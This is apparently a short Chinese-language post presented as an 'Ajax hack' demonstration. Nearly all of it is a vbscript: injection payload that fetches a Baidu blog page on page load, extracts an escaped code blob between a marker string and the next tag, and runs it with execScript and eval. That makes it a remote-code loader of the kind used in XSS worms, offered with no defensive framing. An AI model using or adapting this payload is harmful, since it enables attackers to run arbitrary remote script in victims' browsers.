一个有趣的Ajax Hack示范

vbscript:execute("  
dim l,s:  
l=chr(13)+chr(10):  
s=""sub mycode""&l:  
s=s&""dim http,url,pg,p,p2,cd,ht,o""&l:  
s=s&""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l:  
s=s&""set http=createobject(""""Microsoft.XMLHTTP"""")""&l:  
s=s&""http.open """"get"""",url,false""&l:  
s=s&""http.send("""""""")""&l:  
s=s&""pg=http.responseText""&l:  
s=s&""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""&l:  
s=s&""if p=null or p<1 then exit sub""&l:  
s=s&""p=instr(p,pg,chr(37))""&l:  
s=s&""if p=null or p<1 then exit sub""&l:  
s=s&""p2=instr(p,pg,chr(60))""&l:  
s=s&""cd=mid(pg,p,p2-p)""&l:  
s=s&""ht=""""eval(unescape(‘""""&cd&""""‘))""""""&l:  
s=s&""window.execScript ht,""""jscript""""""&l:  
s=s&""end sub""&l:  
execute(s):  
document.body.onload=getref(""mycode""):  
")